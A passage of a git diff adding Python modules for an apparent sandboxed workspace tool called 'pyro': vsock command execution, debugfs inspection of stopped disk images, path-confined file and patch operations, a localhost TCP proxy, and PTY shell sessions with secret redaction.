raise RuntimeError("vsock sockets are not supported on this host Python runtime")
try:
sock.settimeout(timeout_seconds)
sock.connect(connect_address)
if family is None:
sock.sendall(f"CONNECT {port}\n".encode("utf-8"))
status = self._recv_line(sock)
if not status.startswith("OK "):
raise RuntimeError(f"vsock unix bridge rejected port {port}: {status.strip()}")
sock.sendall((json.dumps(request) + "\n").encode("utf-8"))
chunks: list[bytes] = []
while True:
data = sock.recv(65536)
if data == b"":
break
chunks.append(data)
finally:
sock.close()
payload = json.loads(b"".join(chunks).decode("utf-8"))
if not isinstance(payload, dict):
raise RuntimeError("guest exec response must be a JSON object")
return GuestExecResponse(
stdout=str(payload.get("stdout", "")),
stderr=str(payload.get("stderr", "")),
exit_code=int(payload.get("exit_code", -1)),
duration_ms=int(payload.get("duration_ms", 0)),
)
raise RuntimeError(f"vsock unix bridge rejected port {port}: {status.strip()}")
return sock
@staticmethod
def _recv_line(sock: SocketLike) -> str:
@ -98,3 +645,13 @@ class VsockExecClient:
if data == b"\n":
break
return b"".join(chunks).decode("utf-8", errors="replace")
@staticmethod
def _recv_json_payload(sock: SocketLike) -> Any:
chunks: list[bytes] = []
while True:
data = sock.recv(65536)
if data == b"":
break
chunks.append(data)
return json.loads(b"".join(chunks).decode("utf-8"))

File diff suppressed because it is too large Load diff

View file

@ -0,0 +1,264 @@
"""Stopped-workspace disk export and offline inspection helpers."""
from __future__ import annotations
import re
import shutil
import subprocess
import tempfile
from dataclasses import dataclass
from pathlib import Path, PurePosixPath
from typing import Literal
WorkspaceDiskArtifactType = Literal["file", "directory", "symlink"]
WORKSPACE_DISK_RUNTIME_ONLY_PATHS = (
"/run/pyro-secrets",
"/run/pyro-shells",
"/run/pyro-services",
)
_DEBUGFS_LS_RE = re.compile(
r"^/(?P<inode>\d+)/(?P<mode>\d+)/(?P<uid>\d+)/(?P<gid>\d+)/(?P<name>.*)/(?P<size>\d*)/$"
)
_DEBUGFS_SIZE_RE = re.compile(r"Size:\s+(?P<size>\d+)")
_DEBUGFS_TYPE_RE = re.compile(r"Type:\s+(?P<type>\w+)")
_DEBUGFS_LINK_RE = re.compile(r'Fast link dest:\s+"(?P<target>.*)"')
@dataclass(frozen=True)
class WorkspaceDiskEntry:
"""One inspectable path from a stopped workspace rootfs image."""
path: str
artifact_type: WorkspaceDiskArtifactType
size_bytes: int
link_target: str | None = None
def to_payload(self) -> dict[str, str | int | None]:
return {
"path": self.path,
"artifact_type": self.artifact_type,
"size_bytes": self.size_bytes,
"link_target": self.link_target,
}
@dataclass(frozen=True)
class _DebugfsStat:
path: str
artifact_type: WorkspaceDiskArtifactType
size_bytes: int
link_target: str | None = None
@dataclass(frozen=True)
class _DebugfsDirEntry:
name: str
path: str
artifact_type: WorkspaceDiskArtifactType | None
size_bytes: int
def export_workspace_disk_image(rootfs_image: Path, *, output_path: Path) -> dict[str, str | int]:
"""Copy one stopped workspace rootfs image to the requested host path."""
output_path.parent.mkdir(parents=True, exist_ok=True)
if output_path.exists() or output_path.is_symlink():
raise RuntimeError(f"output_path already exists: {output_path}")
shutil.copy2(rootfs_image, output_path)
return {
"output_path": str(output_path),
"disk_format": "ext4",
"bytes_written": output_path.stat().st_size,
}
def list_workspace_disk(
rootfs_image: Path,
*,
guest_path: str,
recursive: bool,
) -> list[dict[str, str | int | None]]:
"""Return inspectable entries from one stopped workspace rootfs path."""
target = _debugfs_stat(rootfs_image, guest_path)
if target is None:
raise RuntimeError(f"workspace disk path does not exist: {guest_path}")
if target.artifact_type != "directory":
return [WorkspaceDiskEntry(**target.__dict__).to_payload()]
entries: list[WorkspaceDiskEntry] = []
def walk(current_path: str) -> None:
children = _debugfs_ls_entries(rootfs_image, current_path)
for child in children:
if child.artifact_type is None:
continue
link_target = None
if child.artifact_type == "symlink":
child_stat = _debugfs_stat(rootfs_image, child.path)
link_target = None if child_stat is None else child_stat.link_target
entries.append(
WorkspaceDiskEntry(
path=child.path,
artifact_type=child.artifact_type,
size_bytes=child.size_bytes,
link_target=link_target,
)
)
if recursive and child.artifact_type == "directory":
walk(child.path)
walk(guest_path)
entries.sort(key=lambda item: item.path)
return [entry.to_payload() for entry in entries]
def read_workspace_disk_file(
rootfs_image: Path,
*,
guest_path: str,
max_bytes: int,
) -> dict[str, str | int | bool]:
"""Read one regular file from a stopped workspace rootfs image."""
target = _debugfs_stat(rootfs_image, guest_path)
if target is None:
raise RuntimeError(f"workspace disk path does not exist: {guest_path}")
if target.artifact_type != "file":
raise RuntimeError("workspace disk read only supports regular files")
if max_bytes <= 0:
raise ValueError("max_bytes must be positive")
with tempfile.TemporaryDirectory(prefix="pyro-workspace-disk-read-") as temp_dir:
dumped_path = Path(temp_dir) / "workspace-disk-read.bin"
_run_debugfs(rootfs_image, f"dump {guest_path} {dumped_path}")
if not dumped_path.exists():
raise RuntimeError(f"failed to dump workspace disk file: {guest_path}")
raw_bytes = dumped_path.read_bytes()
return {
"path": guest_path,
"size_bytes": len(raw_bytes),
"max_bytes": max_bytes,
"content": raw_bytes[:max_bytes].decode("utf-8", errors="replace"),
"truncated": len(raw_bytes) > max_bytes,
}
def scrub_workspace_runtime_paths(rootfs_image: Path) -> None:
"""Remove runtime-only guest paths from a stopped workspace rootfs image."""
for guest_path in WORKSPACE_DISK_RUNTIME_ONLY_PATHS:
_debugfs_remove_tree(rootfs_image, guest_path)
def _run_debugfs(rootfs_image: Path, command: str, *, writable: bool = False) -> str:
debugfs_path = shutil.which("debugfs")
if debugfs_path is None:
raise RuntimeError("debugfs is required for workspace disk operations")
debugfs_command = [debugfs_path]
if writable:
debugfs_command.append("-w")
proc = subprocess.run( # noqa: S603
[*debugfs_command, "-R", command, str(rootfs_image)],
text=True,
capture_output=True,
check=False,
)
combined = proc.stdout
if proc.stderr != "":
combined = combined + ("\n" if combined != "" else "") + proc.stderr
output = _strip_debugfs_banner(combined)
if proc.returncode != 0:
message = output.strip()
if message == "":
message = f"debugfs command failed: {command}"
raise RuntimeError(message)
return output.strip()
def _strip_debugfs_banner(output: str) -> str:
lines = output.splitlines()
while lines and lines[0].startswith("debugfs "):
lines.pop(0)
return "\n".join(lines)
def _debugfs_missing(output: str) -> bool:
return "File not found by ext2_lookup" in output or "File not found by ext2fs_lookup" in output
def _artifact_type_from_mode(mode: str) -> WorkspaceDiskArtifactType | None:
if mode.startswith("04"):
return "directory"
if mode.startswith("10"):
return "file"
if mode.startswith("12"):
return "symlink"
return None
def _debugfs_stat(rootfs_image: Path, guest_path: str) -> _DebugfsStat | None:
output = _run_debugfs(rootfs_image, f"stat {guest_path}")
if _debugfs_missing(output):
return None
type_match = _DEBUGFS_TYPE_RE.search(output)
size_match = _DEBUGFS_SIZE_RE.search(output)
if type_match is None or size_match is None:
raise RuntimeError(f"failed to inspect workspace disk path: {guest_path}")
raw_type = type_match.group("type")
artifact_type: WorkspaceDiskArtifactType
if raw_type == "directory":
artifact_type = "directory"
elif raw_type == "regular":
artifact_type = "file"
elif raw_type == "symlink":
artifact_type = "symlink"
else:
raise RuntimeError(f"unsupported workspace disk path type: {guest_path}")
link_target = None
if artifact_type == "symlink":
link_match = _DEBUGFS_LINK_RE.search(output)
if link_match is not None:
link_target = link_match.group("target")
return _DebugfsStat(
path=guest_path,
artifact_type=artifact_type,
size_bytes=int(size_match.group("size")),
link_target=link_target,
)
def _debugfs_ls_entries(rootfs_image: Path, guest_path: str) -> list[_DebugfsDirEntry]:
output = _run_debugfs(rootfs_image, f"ls -p {guest_path}")
if _debugfs_missing(output):
raise RuntimeError(f"workspace disk path does not exist: {guest_path}")
entries: list[_DebugfsDirEntry] = []
base = PurePosixPath(guest_path)
for raw_line in output.splitlines():
line = raw_line.strip()
if line == "":
continue
match = _DEBUGFS_LS_RE.match(line)
if match is None:
continue
name = match.group("name")
if name in {".", ".."}:
continue
child_path = str(base / name) if str(base) != "/" else f"/{name}"
entries.append(
_DebugfsDirEntry(
name=name,
path=child_path,
artifact_type=_artifact_type_from_mode(match.group("mode")),
size_bytes=int(match.group("size") or "0"),
)
)
return entries
def _debugfs_remove_tree(rootfs_image: Path, guest_path: str) -> None:
stat_result = _debugfs_stat(rootfs_image, guest_path)
if stat_result is None:
return
if stat_result.artifact_type == "directory":
for child in _debugfs_ls_entries(rootfs_image, guest_path):
_debugfs_remove_tree(rootfs_image, child.path)
_run_debugfs(rootfs_image, f"rmdir {guest_path}", writable=True)
return
_run_debugfs(rootfs_image, f"rm {guest_path}", writable=True)

View file

@ -0,0 +1,456 @@
"""Live workspace file operations and unified text patch helpers."""
from __future__ import annotations
import os
import re
import tempfile
from dataclasses import dataclass
from pathlib import Path, PurePosixPath
from typing import Literal
WORKSPACE_ROOT = PurePosixPath("/workspace")
DEFAULT_WORKSPACE_FILE_READ_MAX_BYTES = 65536
WORKSPACE_FILE_MAX_BYTES = 1024 * 1024
WORKSPACE_PATCH_MAX_BYTES = 1024 * 1024
WorkspaceFileArtifactType = Literal["file", "directory", "symlink"]
WorkspacePatchStatus = Literal["added", "modified", "deleted"]
_PATCH_HUNK_RE = re.compile(
r"^@@ -(?P<old_start>\d+)(?:,(?P<old_count>\d+))? "
r"\+(?P<new_start>\d+)(?:,(?P<new_count>\d+))? @@"
)
@dataclass(frozen=True)
class WorkspaceFileEntry:
path: str
artifact_type: WorkspaceFileArtifactType
size_bytes: int
link_target: str | None = None
def to_payload(self) -> dict[str, str | int | None]:
return {
"path": self.path,
"artifact_type": self.artifact_type,
"size_bytes": self.size_bytes,
"link_target": self.link_target,
}
@dataclass(frozen=True)
class WorkspacePathListing:
path: str
artifact_type: WorkspaceFileArtifactType
entries: list[WorkspaceFileEntry]
@dataclass(frozen=True)
class WorkspaceFileReadResult:
path: str
size_bytes: int
content_bytes: bytes
@dataclass(frozen=True)
class WorkspaceFileWriteResult:
path: str
size_bytes: int
bytes_written: int
@dataclass(frozen=True)
class WorkspaceFileDeleteResult:
path: str
deleted: bool
@dataclass(frozen=True)
class WorkspacePatchHunk:
old_start: int
old_count: int
new_start: int
new_count: int
lines: list[str]
@dataclass(frozen=True)
class WorkspaceTextPatch:
path: str
status: WorkspacePatchStatus
hunks: list[WorkspacePatchHunk]
def list_workspace_files(
workspace_dir: Path,
*,
workspace_path: str,
recursive: bool,
) -> WorkspacePathListing:
normalized_path, host_path = _workspace_host_path(workspace_dir, workspace_path)
entry = _entry_for_host_path(normalized_path, host_path)
if entry.artifact_type != "directory":
return WorkspacePathListing(
path=entry.path,
artifact_type=entry.artifact_type,
entries=[entry],
)
entries: list[WorkspaceFileEntry] = []
def walk(current_path: str, current_host_path: Path) -> None:
children: list[WorkspaceFileEntry] = []
with os.scandir(current_host_path) as iterator:
for child in iterator:
child_entry = _entry_for_host_path(
_join_workspace_path(current_path, child.name),
Path(child.path),
)
children.append(child_entry)
children.sort(key=lambda item: item.path)
for child_entry in children:
entries.append(child_entry)
if recursive and child_entry.artifact_type == "directory":
walk(child_entry.path, workspace_host_path(workspace_dir, child_entry.path))
walk(normalized_path, host_path)
return WorkspacePathListing(path=normalized_path, artifact_type="directory", entries=entries)
def read_workspace_file(
workspace_dir: Path,
*,
workspace_path: str,
max_bytes: int = WORKSPACE_FILE_MAX_BYTES,
) -> WorkspaceFileReadResult:
_validate_max_bytes(max_bytes)
normalized_path, host_path = _workspace_host_path(workspace_dir, workspace_path)
entry = _entry_for_host_path(normalized_path, host_path)
if entry.artifact_type != "file":
raise RuntimeError("workspace file read only supports regular files")
raw_bytes = host_path.read_bytes()
if len(raw_bytes) > max_bytes:
raise RuntimeError(
f"workspace file exceeds the maximum supported size of {max_bytes} bytes"
)
return WorkspaceFileReadResult(
path=normalized_path,
size_bytes=len(raw_bytes),
content_bytes=raw_bytes,
)
def write_workspace_file(
workspace_dir: Path,
*,
workspace_path: str,
text: str,
) -> WorkspaceFileWriteResult:
encoded = text.encode("utf-8")
if len(encoded) > WORKSPACE_FILE_MAX_BYTES:
raise ValueError(
f"text must be at most {WORKSPACE_FILE_MAX_BYTES} bytes when encoded as UTF-8"
)
normalized_path, host_path = _workspace_host_path(workspace_dir, workspace_path)
_ensure_no_symlink_parents(workspace_dir, host_path, normalized_path)
if host_path.exists() or host_path.is_symlink():
entry = _entry_for_host_path(normalized_path, host_path)
if entry.artifact_type != "file":
raise RuntimeError("workspace file write only supports regular file targets")
host_path.parent.mkdir(parents=True, exist_ok=True)
with tempfile.NamedTemporaryFile(
prefix=".pyro-workspace-write-",
dir=host_path.parent,
delete=False,
) as handle:
temp_path = Path(handle.name)
handle.write(encoded)
os.replace(temp_path, host_path)
return WorkspaceFileWriteResult(
path=normalized_path,
size_bytes=len(encoded),
bytes_written=len(encoded),
)
def delete_workspace_path(
workspace_dir: Path,
*,
workspace_path: str,
) -> WorkspaceFileDeleteResult:
normalized_path, host_path = _workspace_host_path(workspace_dir, workspace_path)
entry = _entry_for_host_path(normalized_path, host_path)
if entry.artifact_type == "directory":
raise RuntimeError("workspace file delete does not support directories")
host_path.unlink(missing_ok=False)
return WorkspaceFileDeleteResult(path=normalized_path, deleted=True)
def parse_unified_text_patch(patch_text: str) -> list[WorkspaceTextPatch]:
encoded = patch_text.encode("utf-8")
if len(encoded) > WORKSPACE_PATCH_MAX_BYTES:
raise ValueError(
f"patch must be at most {WORKSPACE_PATCH_MAX_BYTES} bytes when encoded as UTF-8"
)
if patch_text.strip() == "":
raise ValueError("patch must not be empty")
lines = patch_text.splitlines(keepends=True)
patches: list[WorkspaceTextPatch] = []
index = 0
while index < len(lines):
line = lines[index]
if line.startswith("diff --git "):
index += 1
continue
if line.startswith("index "):
index += 1
continue
if _is_unsupported_patch_prelude(line):
raise ValueError(f"unsupported patch feature: {line.rstrip()}")
if not line.startswith("--- "):
if line.strip() == "":
index += 1
continue
raise ValueError(f"invalid patch header: {line.rstrip()}")
old_path = _parse_patch_label(line[4:].rstrip("\n"))
index += 1
if index >= len(lines) or not lines[index].startswith("+++ "):
raise ValueError("patch is missing '+++' header")
new_path = _parse_patch_label(lines[index][4:].rstrip("\n"))
index += 1
if old_path is not None and new_path is not None and old_path != new_path:
raise ValueError("rename and copy patches are not supported")
patch_path = new_path or old_path
if patch_path is None:
raise ValueError("patch must target a workspace path")
if old_path is None:
status: WorkspacePatchStatus = "added"
elif new_path is None:
status = "deleted"
else:
status = "modified"
hunks: list[WorkspacePatchHunk] = []
while index < len(lines):
line = lines[index]
if line.startswith("diff --git ") or line.startswith("--- "):
break
if line.startswith("index "):
index += 1
continue
if _is_unsupported_patch_prelude(line):
raise ValueError(f"unsupported patch feature: {line.rstrip()}")
header_match = _PATCH_HUNK_RE.match(line.rstrip("\n"))
if header_match is None:
raise ValueError(f"invalid patch hunk header: {line.rstrip()}")
old_count = int(header_match.group("old_count") or "1")
new_count = int(header_match.group("new_count") or "1")
hunk_lines: list[str] = []
index += 1
while index < len(lines):
hunk_line = lines[index]
if hunk_line.startswith(("diff --git ", "--- ", "@@ ")):
break
if hunk_line.startswith("@@"):
break
if hunk_line.startswith("\\ No newline at end of file"):
index += 1
continue
if not hunk_line.startswith((" ", "+", "-")):
raise ValueError(f"invalid patch hunk line: {hunk_line.rstrip()}")
hunk_lines.append(hunk_line)
index += 1
_validate_hunk_counts(old_count, new_count, hunk_lines)
hunks.append(
WorkspacePatchHunk(
old_start=int(header_match.group("old_start")),
old_count=old_count,
new_start=int(header_match.group("new_start")),
new_count=new_count,
lines=hunk_lines,
)
)
if not hunks:
raise ValueError(f"patch for {patch_path} has no hunks")
patches.append(WorkspaceTextPatch(path=patch_path, status=status, hunks=hunks))
if not patches:
raise ValueError("patch must contain at least one file change")
return patches
def apply_unified_text_patch(
*,
path: str,
patch: WorkspaceTextPatch,
before_text: str | None,
) -> str | None:
before_lines = [] if before_text is None else before_text.splitlines(keepends=True)
output_lines: list[str] = []
cursor = 0
for hunk in patch.hunks:
start_index = 0 if hunk.old_start == 0 else hunk.old_start - 1
if start_index < cursor or start_index > len(before_lines):
raise RuntimeError(f"patch hunk is out of range for {path}")
output_lines.extend(before_lines[cursor:start_index])
local_index = start_index
for hunk_line in hunk.lines:
prefix = hunk_line[:1]
payload = hunk_line[1:]
if prefix in {" ", "-"}:
if local_index >= len(before_lines):
raise RuntimeError(f"patch context does not match for {path}")
if before_lines[local_index] != payload:
raise RuntimeError(f"patch context does not match for {path}")
if prefix == " ":
output_lines.append(payload)
local_index += 1
continue
if prefix == "+":
output_lines.append(payload)
continue
raise RuntimeError(f"invalid patch line prefix for {path}")
cursor = local_index
output_lines.extend(before_lines[cursor:])
after_text = "".join(output_lines)
if patch.status == "deleted":
if after_text != "":
raise RuntimeError(f"delete patch did not remove all content for {path}")
return None
encoded = after_text.encode("utf-8")
if len(encoded) > WORKSPACE_FILE_MAX_BYTES:
raise RuntimeError(
f"patched file {path} exceeds the maximum supported size of "
f"{WORKSPACE_FILE_MAX_BYTES} bytes"
)
return after_text
def workspace_host_path(workspace_dir: Path, workspace_path: str) -> Path:
_, host_path = _workspace_host_path(workspace_dir, workspace_path)
return host_path
def _workspace_host_path(workspace_dir: Path, workspace_path: str) -> tuple[str, Path]:
normalized = normalize_workspace_path(workspace_path)
suffix = PurePosixPath(normalized).relative_to(WORKSPACE_ROOT)
host_path = workspace_dir if str(suffix) in {"", "."} else workspace_dir.joinpath(*suffix.parts)
return normalized, host_path
def normalize_workspace_path(path: str) -> str:
candidate = path.strip()
if candidate == "":
raise ValueError("workspace path must not be empty")
raw_path = PurePosixPath(candidate)
if any(part == ".." for part in raw_path.parts):
raise ValueError("workspace path must stay inside /workspace")
if not raw_path.is_absolute():
raw_path = WORKSPACE_ROOT / raw_path
parts = [part for part in raw_path.parts if part not in {"", "."}]
normalized = PurePosixPath("/") / PurePosixPath(*parts)
if normalized == PurePosixPath("/"):
raise ValueError("workspace path must stay inside /workspace")
if normalized.parts[: len(WORKSPACE_ROOT.parts)] != WORKSPACE_ROOT.parts:
raise ValueError("workspace path must stay inside /workspace")
return str(normalized)
def _entry_for_host_path(guest_path: str, host_path: Path) -> WorkspaceFileEntry:
try:
stat_result = os.lstat(host_path)
except FileNotFoundError as exc:
raise RuntimeError(f"workspace path does not exist: {guest_path}") from exc
if os.path.islink(host_path):
return WorkspaceFileEntry(
path=guest_path,
artifact_type="symlink",
size_bytes=stat_result.st_size,
link_target=os.readlink(host_path),
)
if host_path.is_dir():
return WorkspaceFileEntry(
path=guest_path,
artifact_type="directory",
size_bytes=0,
link_target=None,
)
if host_path.is_file():
return WorkspaceFileEntry(
path=guest_path,
artifact_type="file",
size_bytes=stat_result.st_size,
link_target=None,
)
raise RuntimeError(f"unsupported workspace path type: {guest_path}")
def _join_workspace_path(base: str, child_name: str) -> str:
base_path = PurePosixPath(base)
return str(base_path / child_name) if str(base_path) != "/" else f"/{child_name}"
def _ensure_no_symlink_parents(workspace_dir: Path, target_path: Path, guest_path: str) -> None:
relative_path = target_path.relative_to(workspace_dir)
current = workspace_dir
for part in relative_path.parts[:-1]:
current = current / part
if current.is_symlink():
raise RuntimeError(
f"workspace path would traverse through a symlinked parent: {guest_path}"
)
def _validate_max_bytes(max_bytes: int) -> None:
if max_bytes <= 0:
raise ValueError("max_bytes must be positive")
if max_bytes > WORKSPACE_FILE_MAX_BYTES:
raise ValueError(
f"max_bytes must be at most {WORKSPACE_FILE_MAX_BYTES} bytes"
)
def _is_unsupported_patch_prelude(line: str) -> bool:
return line.startswith(
(
"old mode ",
"new mode ",
"deleted file mode ",
"new file mode ",
"rename from ",
"rename to ",
"copy from ",
"copy to ",
"similarity index ",
"dissimilarity index ",
"GIT binary patch",
"Binary files ",
)
)
def _parse_patch_label(label: str) -> str | None:
raw = label.split("\t", 1)[0].strip()
if raw == "/dev/null":
return None
if raw.startswith(("a/", "b/")):
raw = raw[2:]
if raw.startswith("/workspace/"):
return normalize_workspace_path(raw)
return normalize_workspace_path(raw)
def _validate_hunk_counts(old_count: int, new_count: int, hunk_lines: list[str]) -> None:
old_seen = 0
new_seen = 0
for hunk_line in hunk_lines:
prefix = hunk_line[:1]
if prefix in {" ", "-"}:
old_seen += 1
if prefix in {" ", "+"}:
new_seen += 1
if old_seen != old_count or new_seen != new_count:
raise ValueError("patch hunk line counts do not match the header")

View file

@ -0,0 +1,116 @@
"""Localhost-only TCP port proxy for published workspace services."""
from __future__ import annotations
import argparse
import json
import selectors
import signal
import socket
import socketserver
import sys
import threading
from pathlib import Path
DEFAULT_PUBLISHED_PORT_HOST = "127.0.0.1"
class _ProxyServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
allow_reuse_address = False
daemon_threads = True
def __init__(self, server_address: tuple[str, int], target_address: tuple[str, int]) -> None:
super().__init__(server_address, _ProxyHandler)
self.target_address = target_address
class _ProxyHandler(socketserver.BaseRequestHandler):
def handle(self) -> None:
server = self.server
if not isinstance(server, _ProxyServer):
raise RuntimeError("proxy server is invalid")
try:
upstream = socket.create_connection(server.target_address, timeout=5)
except OSError:
return
with upstream:
self.request.setblocking(False)
upstream.setblocking(False)
selector = selectors.DefaultSelector()
try:
selector.register(self.request, selectors.EVENT_READ, upstream)
selector.register(upstream, selectors.EVENT_READ, self.request)
while True:
events = selector.select()
if not events:
continue
for key, _ in events:
source = key.fileobj
target = key.data
if not isinstance(source, socket.socket) or not isinstance(
target, socket.socket
):
continue
try:
chunk = source.recv(65536)
except OSError:
return
if not chunk:
return
try:
target.sendall(chunk)
except OSError:
return
finally:
selector.close()
def _build_parser() -> argparse.ArgumentParser:
parser = argparse.ArgumentParser(description="Run a localhost-only TCP port proxy.")
parser.add_argument("--listen-host", required=True)
parser.add_argument("--listen-port", type=int, required=True)
parser.add_argument("--target-host", required=True)
parser.add_argument("--target-port", type=int, required=True)
parser.add_argument("--ready-file", required=True)
return parser
def main(argv: list[str] | None = None) -> int:
args = _build_parser().parse_args(argv)
ready_file = Path(args.ready_file)
ready_file.parent.mkdir(parents=True, exist_ok=True)
server = _ProxyServer(
(str(args.listen_host), int(args.listen_port)),
(str(args.target_host), int(args.target_port)),
)
actual_host = str(server.server_address[0])
actual_port = int(server.server_address[1])
ready_file.write_text(
json.dumps(
{
"host": actual_host,
"host_port": actual_port,
"target_host": args.target_host,
"target_port": int(args.target_port),
"protocol": "tcp",
},
indent=2,
sort_keys=True,
),
encoding="utf-8",
)
def _shutdown(_: int, __: object) -> None:
threading.Thread(target=server.shutdown, daemon=True).start()
signal.signal(signal.SIGTERM, _shutdown)
signal.signal(signal.SIGINT, _shutdown)
try:
server.serve_forever(poll_interval=0.2)
finally:
server.server_close()
return 0
if __name__ == "__main__":
raise SystemExit(main(sys.argv[1:]))

View file

@ -0,0 +1,116 @@
"""Helpers for chat-friendly workspace shell output rendering."""
from __future__ import annotations
def _apply_csi(
final: str,
parameters: str,
line: list[str],
cursor: int,
lines: list[str],
) -> tuple[list[str], int, list[str]]:
if final == "K":
mode = parameters or "0"
if mode in {"0", ""}:
del line[cursor:]
elif mode == "1":
for index in range(min(cursor, len(line))):
line[index] = " "
elif mode == "2":
line.clear()
cursor = 0
elif final == "J":
mode = parameters or "0"
if mode in {"2", "3"}:
lines.clear()
line.clear()
cursor = 0
return line, cursor, lines
def _consume_escape_sequence(
text: str,
index: int,
line: list[str],
cursor: int,
lines: list[str],
) -> tuple[int, list[str], int, list[str]]:
if index + 1 >= len(text):
return len(text), line, cursor, lines
leader = text[index + 1]
if leader == "[":
cursor_index = index + 2
while cursor_index < len(text):
char = text[cursor_index]
if "\x40" <= char <= "\x7e":
parameters = text[index + 2 : cursor_index]
line, cursor, lines = _apply_csi(char, parameters, line, cursor, lines)
return cursor_index + 1, line, cursor, lines
cursor_index += 1
return len(text), line, cursor, lines
if leader in {"]", "P", "_", "^"}:
cursor_index = index + 2
while cursor_index < len(text):
char = text[cursor_index]
if char == "\x07":
return cursor_index + 1, line, cursor, lines
if char == "\x1b" and cursor_index + 1 < len(text) and text[cursor_index + 1] == "\\":
return cursor_index + 2, line, cursor, lines
cursor_index += 1
return len(text), line, cursor, lines
if leader == "O":
return min(index + 3, len(text)), line, cursor, lines
return min(index + 2, len(text)), line, cursor, lines
def render_plain_shell_output(raw_text: str) -> str:
"""Render PTY output into chat-friendly plain text."""
lines: list[str] = []
line: list[str] = []
cursor = 0
ended_with_newline = False
index = 0
while index < len(raw_text):
char = raw_text[index]
if char == "\x1b":
index, line, cursor, lines = _consume_escape_sequence(
raw_text,
index,
line,
cursor,
lines,
)
ended_with_newline = False
continue
if char == "\r":
cursor = 0
ended_with_newline = False
index += 1
continue
if char == "\n":
lines.append("".join(line))
line = []
cursor = 0
ended_with_newline = True
index += 1
continue
if char == "\b":
if cursor > 0:
cursor -= 1
if cursor < len(line):
del line[cursor]
ended_with_newline = False
index += 1
continue
if char == "\t" or (ord(char) >= 32 and ord(char) != 127):
if cursor < len(line):
line[cursor] = char
else:
line.append(char)
cursor += 1
ended_with_newline = False
index += 1
if line or ended_with_newline:
lines.append("".join(line))
return "\n".join(lines)

View file

@ -0,0 +1,360 @@
"""Local PTY-backed shell sessions for the mock workspace backend."""
from __future__ import annotations
import codecs
import fcntl
import os
import shlex
import shutil
import signal
import struct
import subprocess
import termios
import threading
import time
from pathlib import Path
from typing import IO, Literal
ShellState = Literal["running", "stopped"]
SHELL_SIGNAL_NAMES = ("HUP", "INT", "TERM", "KILL")
_SHELL_SIGNAL_MAP = {
"HUP": signal.SIGHUP,
"INT": signal.SIGINT,
"TERM": signal.SIGTERM,
"KILL": signal.SIGKILL,
}
_LOCAL_SHELLS: dict[str, "LocalShellSession"] = {}
_LOCAL_SHELLS_LOCK = threading.Lock()
def _shell_argv(*, interactive: bool) -> list[str]:
shell_program = shutil.which("bash") or "/bin/sh"
argv = [shell_program]
if shell_program.endswith("bash"):
argv.extend(["--noprofile", "--norc"])
if interactive:
argv.append("-i")
return argv
def _redact_text(text: str, redact_values: list[str]) -> str:
redacted = text
for secret_value in sorted(
{item for item in redact_values if item != ""},
key=len,
reverse=True,
):
redacted = redacted.replace(secret_value, "[REDACTED]")
return redacted
def _set_pty_size(fd: int, rows: int, cols: int) -> None:
winsize = struct.pack("HHHH", rows, cols, 0, 0)
fcntl.ioctl(fd, termios.TIOCSWINSZ, winsize)
class LocalShellSession:
"""Host-local interactive shell used by the mock backend."""
def __init__(
self,
*,
shell_id: str,
cwd: Path,
display_cwd: str,
cols: int,
rows: int,
env_overrides: dict[str, str] | None = None,
redact_values: list[str] | None = None,
) -> None:
self.shell_id = shell_id
self.cwd = display_cwd
self.cols = cols
self.rows = rows
self.started_at = time.time()
self.ended_at: float | None = None
self.exit_code: int | None = None
self.state: ShellState = "running"
self.pid: int | None = None
self._lock = threading.RLock()
self._output = ""
self._master_fd: int | None = None
self._input_pipe: IO[bytes] | None = None
self._output_pipe: IO[bytes] | None = None
self._reader: threading.Thread | None = None
self._waiter: threading.Thread | None = None
self._decoder = codecs.getincrementaldecoder("utf-8")("replace")
self._redact_values = list(redact_values or [])
env = os.environ.copy()
env.update(
{
"TERM": env.get("TERM", "xterm-256color"),
"PS1": "pyro$ ",
"PROMPT_COMMAND": "",
}
)
if env_overrides is not None:
env.update(env_overrides)
process: subprocess.Popen[bytes]
try:
master_fd, slave_fd = os.openpty()
except OSError:
process = subprocess.Popen( # noqa: S603
_shell_argv(interactive=False),
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
cwd=str(cwd),
env=env,
text=False,
close_fds=True,
preexec_fn=os.setsid,
)
self._input_pipe = process.stdin
self._output_pipe = process.stdout
else:
try:
_set_pty_size(slave_fd, rows, cols)
process = subprocess.Popen( # noqa: S603
_shell_argv(interactive=True),
stdin=slave_fd,
stdout=slave_fd,
stderr=slave_fd,
cwd=str(cwd),
env=env,
text=False,
close_fds=True,
preexec_fn=os.setsid,
)
except Exception:
os.close(master_fd)
raise
finally:
os.close(slave_fd)
self._master_fd = master_fd
self._process = process
self.pid = process.pid
self._reader = threading.Thread(target=self._reader_loop, daemon=True)
self._waiter = threading.Thread(target=self._waiter_loop, daemon=True)
self._reader.start()
self._waiter.start()
def summary(self) -> dict[str, object]:
with self._lock:
return {
"shell_id": self.shell_id,
"cwd": self.cwd,
"cols": self.cols,
"rows": self.rows,
"state": self.state,
"started_at": self.started_at,
"ended_at": self.ended_at,
"exit_code": self.exit_code,
"pid": self.pid,
}
def read(self, *, cursor: int, max_chars: int) -> dict[str, object]:
with self._lock:
redacted_output = _redact_text(self._output, self._redact_values)
clamped_cursor = min(max(cursor, 0), len(redacted_output))
output = redacted_output[clamped_cursor : clamped_cursor + max_chars]
next_cursor = clamped_cursor + len(output)
payload = self.summary()
payload.update(
{
"cursor": clamped_cursor,
"next_cursor": next_cursor,
"output": output,
"truncated": next_cursor < len(redacted_output),
}
)
return payload
def write(self, text: str, *, append_newline: bool) -> dict[str, object]:
if self._process.poll() is not None:
self._refresh_process_state()
with self._lock:
if self.state != "running":
raise RuntimeError(f"shell {self.shell_id} is not running")
master_fd = self._master_fd
input_pipe = self._input_pipe
payload = text + ("\n" if append_newline else "")
try:
if master_fd is not None:
os.write(master_fd, payload.encode("utf-8"))
else:
if input_pipe is None:
raise RuntimeError(f"shell {self.shell_id} transport is unavailable")
input_pipe.write(payload.encode("utf-8"))
input_pipe.flush()
except OSError as exc:
self._refresh_process_state()
raise RuntimeError(f"failed to write to shell {self.shell_id}: {exc}") from exc
result = self.summary()
result.update({"input_length": len(text), "append_newline": append_newline})
return result
def send_signal(self, signal_name: str) -> dict[str, object]:
signal_name = signal_name.upper()
signum = _SHELL_SIGNAL_MAP.get(signal_name)
if signum is None:
raise ValueError(f"unsupported shell signal: {signal_name}")
if self._process.poll() is not None:
self._refresh_process_state()
with self._lock:
if self.state != "running" or self.pid is None:
